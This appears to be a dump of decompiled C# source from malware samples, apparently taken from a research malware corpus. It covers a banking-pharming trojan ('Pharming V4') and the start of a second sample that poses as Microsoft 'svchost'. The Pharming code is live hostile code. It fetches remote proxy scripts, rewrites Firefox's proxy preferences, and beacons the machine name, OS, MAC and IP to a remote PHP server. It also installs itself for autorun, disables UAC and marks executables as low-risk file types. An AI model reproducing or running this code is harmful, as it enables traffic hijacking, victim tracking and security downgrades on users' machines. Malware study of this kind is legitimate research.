+                if (end.Contains("PROXY \\x77\\x77\\x77\\x2e\\x74\\x75\\x64\\x6f\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d"))
+                {
+                  Module1.a(Pharming_V4.atproxy.pac3);
+                  Pharming_V4.atproxy.pacfinal = Pharming_V4.atproxy.pac3;
+                  Process[] processesByName = Process.GetProcessesByName("firefox");
+                  int index = 0;
+                  while (index < processesByName.Length)
+                  {
+                    processesByName[index].Kill();
+                    checked { ++index; }
+                  }
+                  firefox.firefox();
+                  Thread.Sleep(1000000);
+                }
+                else
+                  Console.WriteLine("Atualizado");
+              }
+            }
+            else if (num == 4)
+            {
+              try
+              {
+                new WebClient().DownloadFile(Pharming_V4.atproxy.pac4, tempPath + "\\config.jsp");
+              }
+              catch (Exception ex)
+              {
+                ProjectData.SetProjectError(ex);
+                ProjectData.ClearProjectError();
+              }
+              if (System.IO.File.Exists(tempPath + "\\config.jsp"))
+              {
+                StreamReader streamReader = new StreamReader(tempPath + "\\config.jsp");
+                string end = streamReader.ReadToEnd();
+                streamReader.Close();
+                if (end.Contains("PROXY \\x77\\x77\\x77\\x2e\\x74\\x75\\x64\\x6f\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d"))
+                {
+                  Module1.a(Pharming_V4.atproxy.pac4);
+                  Pharming_V4.atproxy.pacfinal = Pharming_V4.atproxy.pac4;
+                  Process[] processesByName = Process.GetProcessesByName("firefox");
+                  int index = 0;
+                  while (index < processesByName.Length)
+                  {
+                    processesByName[index].Kill();
+                    checked { ++index; }
+                  }
+                  firefox.firefox();
+                  Thread.Sleep(1000000);
+                }
+                else
+                  Console.WriteLine("Atualizado");
+              }
+            }
+          }
+          while (num != 5);
+          try
+          {
+            new WebClient().DownloadFile(Pharming_V4.atproxy.pac5, tempPath + "\\config.jsp");
+          }
+          catch (Exception ex)
+          {
+            ProjectData.SetProjectError(ex);
+            ProjectData.ClearProjectError();
+          }
+        }
+        while (!System.IO.File.Exists(tempPath + "\\config.jsp"));
+        StreamReader streamReader1 = new StreamReader(tempPath + "\\config.jsp");
+        string end1 = streamReader1.ReadToEnd();
+        streamReader1.Close();
+        if (end1.Contains("PROXY \\x77\\x77\\x77\\x2e\\x74\\x75\\x64\\x6f\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d"))
+        {
+          Module1.a(Pharming_V4.atproxy.pac5);
+          Pharming_V4.atproxy.pacfinal = Pharming_V4.atproxy.pac5;
+          Process[] processesByName = Process.GetProcessesByName("firefox");
+          int index = 0;
+          while (index < processesByName.Length)
+          {
+            processesByName[index].Kill();
+            checked { ++index; }
+          }
+          firefox.firefox();
+          Thread.Sleep(1000000);
+        }
+        else
+          Console.WriteLine("Atualizado");
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/criatxtinfect.cs

@@ -0,0 +1,35 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.criatxtinfect
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.IO;
+
+namespace Pharming_V4
+{
+  [StandardModule]
+  internal sealed class criatxtinfect
+  {
+    public static void criatxtinfect()
+    {
+      string path = Path.GetTempPath() + "\\checkinfect.txt";
+      try
+      {
+        if (File.Exists(path))
+          return;
+        using (File.Create(path))
+          ;
+        using (StreamWriter streamWriter = new StreamWriter(path))
+          streamWriter.Write("infected");
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/enviophp.cs

@@ -0,0 +1,32 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.enviophp
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.IO;
+using System.Net;
+using System.Net.NetworkInformation;
+
+namespace Pharming_V4
+{
+  [StandardModule]
+  internal sealed class enviophp
+  {
+    public static void enviophp()
+    {
+      if (System.IO.File.Exists(Path.GetTempPath() + "\\checkinfect.txt"))
+      {
+        Console.WriteLine("Ja infectado!");
+      }
+      else
+      {
+        string end = new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")).GetResponse()).GetResponseStream()).ReadToEnd();
+        string str = NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString();
+        new WebClient().DownloadString("http://www.shaunsmyth.com/images/home/novo.php?nomepc=" + Environment.MachineName + "&osName=" + Module1.osName + "&netCard=" + str + "&ipp=" + end);
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/firefox.cs

@@ -0,0 +1,78 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.firefox
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+using System.IO;
+
+namespace Pharming_V4
+{
+  [StandardModule]
+  internal sealed class firefox
+  {
+    public static void firefox()
+    {
+      Process[] processesByName = Process.GetProcessesByName(nameof (firefox));
+      int index1 = 0;
+      while (index1 < processesByName.Length)
+      {
+        processesByName[index1].Kill();
+        checked { ++index1; }
+      }
+      string str = "";
+      string[] directories = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles\\");
+      int index2 = 0;
+      while (index2 < directories.Length)
+      {
+        str = directories[index2];
+        checked { ++index2; }
+      }
+      StreamReader streamReader = new StreamReader(str + "\\prefs.js");
+      string end = streamReader.ReadToEnd();
+      streamReader.Close();
+      string path = str + "\\pending.js";
+      if (end.Contains("user_pref(\"network.proxy.type\", 1);"))
+      {
+        StreamWriter streamWriter = new StreamWriter(path, false);
+        streamWriter.WriteLine(end.Replace("user_pref(\"network.proxy.type\", 1);", "user_pref(\"network.proxy.type\", 5);"));
+        streamWriter.Close();
+      }
+      else if (end.Contains("user_pref(\"network.proxy.type\", 2);"))
+      {
+        StreamWriter streamWriter = new StreamWriter(path, false);
+        streamWriter.WriteLine(end.Replace("user_pref(\"network.proxy.type\", 2);", "user_pref(\"network.proxy.type\", 5);"));
+        streamWriter.Close();
+      }
+      else if (end.Contains("user_pref(\"network.proxy.type\", 3);"))
+      {
+        StreamWriter streamWriter = new StreamWriter(path, false);
+        streamWriter.WriteLine(end.Replace("user_pref(\"network.proxy.type\", 3);", "user_pref(\"network.proxy.type\", 5);"));
+        streamWriter.Close();
+      }
+      else if (end.Contains("user_pref(\"network.proxy.type\", 4);"))
+      {
+        StreamWriter streamWriter = new StreamWriter(path, false);
+        streamWriter.WriteLine(end.Replace("user_pref(\"network.proxy.type\", 4);", "user_pref(\"network.proxy.type\", 5);"));
+        streamWriter.Close();
+      }
+      else if (end.Contains("user_pref(\"network.proxy.type\", 5);"))
+      {
+        StreamWriter streamWriter = new StreamWriter(path, false);
+        streamWriter.WriteLine(end.Replace("user_pref(\"network.proxy.type\", 5);", "user_pref(\"network.proxy.type\", 5);"));
+        streamWriter.Close();
+      }
+      else
+      {
+        StreamWriter streamWriter = new StreamWriter(path, false);
+        streamWriter.WriteLine("user_pref(\"network.proxy.type\", 5);");
+        streamWriter.Close();
+      }
+      File.Delete(str + "\\prefs.js");
+      File.Move(str + "\\pending.js", str + "\\prefs.js");
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/pharmantiga.cs

@@ -0,0 +1,51 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.pharmantiga
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using Microsoft.Win32;
+using System;
+using System.Diagnostics;
+
+namespace Pharming_V4
+{
+  [StandardModule]
+  internal sealed class pharmantiga
+  {
+    public static void pharmantiga()
+    {
+      try
+      {
+        Process[] processesByName = Process.GetProcessesByName("windowsfiledk");
+        int index = 0;
+        while (index < processesByName.Length)
+        {
+          processesByName[index].Kill();
+          checked { ++index; }
+        }
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      try
+      {
+        Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue("www.msn.com");
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\", true);
+      registryKey1.SetValue("EnableLUA", (object) 0);
+      registryKey1.Close();
+      RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Security Center", true);
+      registryKey2.SetValue("UacDisableNotify", (object) 0);
+      registryKey2.Close();
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/pharmnova.cs

@@ -0,0 +1,35 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.pharmnova
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using Microsoft.Win32;
+using Pharming_V4.My;
+using System;
+using System.Reflection;
+
+namespace Pharming_V4
+{
+  [StandardModule]
+  internal sealed class pharmnova
+  {
+    public static void pharmnova()
+    {
+      string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+      try
+      {
+        MyProject.Computer.FileSystem.CopyFile(Assembly.GetExecutingAssembly().Location, folderPath + "\\telefx\\Config.com", true);
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Config", (object) ("\"" + folderPath + "\\telefx\\Config.com\" -autorun"));
+      Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Associations");
+      Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Associations", true).SetValue("LowRiskFileTypes", (object) ".exe;.com;.scr");
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/phpenvioinfect.cs

@@ -0,0 +1,15 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.phpenvioinfect
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+
+namespace Pharming_V4
+{
+  [StandardModule]
+  internal sealed class phpenvioinfect
+  {
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/smtpenvioinfect.cs

@@ -0,0 +1,15 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.smtpenvioinfect
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+
+namespace Pharming_V4
+{
+  [StandardModule]
+  internal sealed class smtpenvioinfect
+  {
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/so.cs

@@ -0,0 +1,17 @@
+// Decompiled with JetBrains decompiler
+// Type: Pharming_V4.so
+// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using Pharming_V4.My;
+
+namespace Pharming_V4
+{
+  [StandardModule]
+  internal sealed class so
+  {
+    public static void so() => Module1.osName = MyProject.Computer.Info.OSFullName;
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyCompany("Microsoft")]
+[assembly: AssemblyProduct("svchost")]
+[assembly: AssemblyCopyright("Copyright © Microsoft 2012")]
+[assembly: AssemblyTitle("svchost")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: Guid("eba57ae1-16e3-4909-a1fa-391da1d603e7")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/Form1.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/My/InternalXmlHelper.cs

@@ -0,0 +1,214 @@
+// Decompiled with JetBrains decompiler
+// Type: svchost.My.InternalXmlHelper
+// Assembly: svchost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6DDBD699-C351-46D2-B577-5A47AADA2B4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.exe
+
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Xml.Linq;
+
+namespace svchost.My
+{
+  [CompilerGenerated]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [DebuggerNonUserCode]
+  internal sealed class InternalXmlHelper
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    private InternalXmlHelper()
+    {
+    }
+
+    public static string get_Value(IEnumerable<XElement> source)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (enumerator.MoveNext())
+          return enumerator.Current.Value;
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+      return (string) null;
+    }
+
+    public static void set_Value(IEnumerable<XElement> source, string value)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (!enumerator.MoveNext())
+          return;
+        enumerator.Current.Value = value;
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+    }
+
+    public static string get_AttributeValue(IEnumerable<XElement> source, XName name)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (enumerator.MoveNext())
+          return (string) enumerator.Current.Attribute(name);
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+      return (string) null;
+    }
+
+    public static void set_AttributeValue(IEnumerable<XElement> source, XName name, string value)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (!enumerator.MoveNext())
+          return;
+        enumerator.Current.SetAttributeValue(name, (object) value);
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+    }
+
+    public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name);
+
+    public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value);
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value));
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns)
+    {
+      XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName);
+      namespaceAttribute.AddAnnotation((object) ns);
+      return namespaceAttribute;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static object RemoveNamespaceAttributes(
+      string[] inScopePrefixes,
+      XNamespace[] inScopeNs,
+      List<XAttribute> attributes,
+      object obj)
+    {
+      switch (obj)
+      {
+        case XElement e:
+          // ISSUE: reference to a compiler-generated method
+          return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, e);
+        case IEnumerable enumerable:
+          // ISSUE: reference to a compiler-generated method
+          return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, enumerable);
+        default:
+          return obj;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static IEnumerable RemoveNamespaceAttributes(
+      string[] inScopePrefixes,
+      XNamespace[] inScopeNs,
+      List<XAttribute> attributes,
+      IEnumerable obj)
+    {
+      if (obj == null)
+        return obj;
+      // ISSUE: object of a compiler-generated type is created
+      // ISSUE: reference to a compiler-generated method
+      // ISSUE: object of a compiler-generated type is created
+      // ISSUE: reference to a compiler-generated method
+      return obj is IEnumerable<XElement> source ? (IEnumerable) source.Select<XElement, XElement>(new Func<XElement, XElement>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessXElement)) : (IEnumerable) obj.Cast<object>().Select<object, object>(new Func<object, object>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessObject));
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static XElement RemoveNamespaceAttributes(
+      string[] inScopePrefixes,
+      XNamespace[] inScopeNs,
+      List<XAttribute> attributes,
+      XElement e)
+    {
+      XAttribute nextAttribute;
+      if (e != null)
+      {
+        for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute)
+        {
+          nextAttribute = xattribute.NextAttribute;
+          if (xattribute.IsNamespaceDeclaration)
+          {
+            XNamespace xnamespace1 = xattribute.Annotation<XNamespace>();
+            string localName1 = xattribute.Name.LocalName;
+            if ((object) xnamespace1 != null)
+            {
+              if (inScopePrefixes != null && inScopeNs != null)
+              {
+                int num = checked (inScopePrefixes.Length - 1);
+                int index = 0;
+                while (index <= num)
+                {
+                  string inScopePrefix = inScopePrefixes[index];
+                  XNamespace inScopeN = inScopeNs[index];
+                  if (localName1.Equals(inScopePrefix))
+                  {
+                    if (xnamespace1 == inScopeN)
+                      xattribute.Remove();
+                    xattribute = (XAttribute) null;
+                    break;
+                  }
+                  checked { ++index; }
+                }
+              }
+              if (xattribute != null)
+              {
+                if (attributes != null)
+                {
+                  int num = checked (attributes.Count - 1);
+                  int index = 0;
+                  while (index <= num)
+                  {
+                    XAttribute attribute = attributes[index];
+                    string localName2 = attribute.Name.LocalName;
+                    XNamespace xnamespace2 = attribute.Annotation<XNamespace>();
+                    if ((object) xnamespace2 != null && localName1.Equals(localName2))
+                    {
+                      if (xnamespace1 == xnamespace2)
+                        xattribute.Remove();
+                      xattribute = (XAttribute) null;
+                      break;
+                    }
+                    checked { ++index; }
+                  }
+                }
+                if (xattribute != null)
+                {
+                  xattribute.Remove();
+                  attributes.Add(xattribute);
+                }
+              }
+            }
+          }
+        }
+      }
+      return e;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/My/MyApplication.cs

@@ -0,0 +1,86 @@
+// Decompiled with JetBrains decompiler
+// Type: svchost.My.MyApplication
+// Assembly: svchost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6DDBD699-C351-46D2-B577-5A47AADA2B4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Windows.Forms;
+
+namespace svchost.My
+{
+  [GeneratedCode("MyTemplate", "10.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    private static List<WeakReference> __ENCList = new List<WeakReference>();
+
+    [DebuggerNonUserCode]
+    static MyApplication()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    private static void __ENCAddToList(object value)
+    {
+      lock (MyApplication.__ENCList)
+      {
+        if (MyApplication.__ENCList.Count == MyApplication.__ENCList.Capacity)
+        {
+          int index1 = 0;
+          int num = checked (MyApplication.__ENCList.Count - 1);
+          int index2 = 0;
+          while (index2 <= num)
+          {
+            if (MyApplication.__ENCList[index2].IsAlive)
+            {
+              if (index2 != index1)
+                MyApplication.__ENCList[index1] = MyApplication.__ENCList[index2];
+              checked { ++index1; }
+            }
+            checked { ++index2; }
+          }
+          MyApplication.__ENCList.RemoveRange(index1, checked (MyApplication.__ENCList.Count - index1));
+          MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count;
+        }
+        MyApplication.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [STAThread]
+    [DebuggerHidden]
+    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      MyApplication.__ENCAddToList((object) this);
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/My/MyComputer.cs

